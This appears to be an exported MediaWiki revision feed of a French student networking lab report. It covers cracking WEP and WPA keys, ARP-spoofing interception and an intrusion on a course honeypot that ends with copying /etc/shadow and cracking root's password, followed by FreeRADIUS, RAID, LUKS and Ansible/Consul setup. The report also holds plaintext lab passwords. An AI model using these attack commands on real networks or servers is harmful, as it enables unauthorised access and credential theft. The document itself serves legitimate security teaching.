 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     dest: &amp;quot;/etc/consul/{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - config.json&lt;br /&gt;
     - web.json&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
   register: systemd&lt;br /&gt;
 &lt;br /&gt;
 - name: Deamon reload&lt;br /&gt;
   systemd:&lt;br /&gt;
     daemon_reload: true&lt;br /&gt;
   when: systemd.changed&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
(Sans les espaces des accolades encore une fois)&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 2,&lt;br /&gt;
        &amp;quot;retry_join&amp;quot;: [&amp;quot;172.26.145.101&amp;quot;],&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/web.json&amp;lt;/code&amp;gt; contient : &lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;service&amp;quot;: {&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;web-bellerose&amp;quot;,&lt;br /&gt;
 		&amp;quot;tags&amp;quot;: [&amp;quot;boris&amp;quot;,&amp;quot;louis&amp;quot;,&amp;quot;web&amp;quot;],&lt;br /&gt;
 		&amp;quot;port&amp;quot;: 80&lt;br /&gt;
 	},&lt;br /&gt;
 &lt;br /&gt;
 	&amp;quot;check&amp;quot;: {&lt;br /&gt;
 		&amp;quot;id&amp;quot;: &amp;quot;webport&amp;quot;,&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;Simple HTTP GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;method&amp;quot;: &amp;quot;GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;http&amp;quot;: &amp;quot;http://172.26.145.106&amp;quot;,&lt;br /&gt;
 		&amp;quot;interval&amp;quot;: &amp;quot;10s&amp;quot;,&lt;br /&gt;
 		&amp;quot;timeout&amp;quot;: &amp;quot;1s&amp;quot;&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là. Pour voir le résultat: http://172.26.145.106:8500&lt;br /&gt;
&lt;br /&gt;
Cela nous donne :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen_healthy.png|1000px|thumb|center|Tada]]&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58027</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58027"/>
				<updated>2022-01-12T13:02:55Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Consul */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
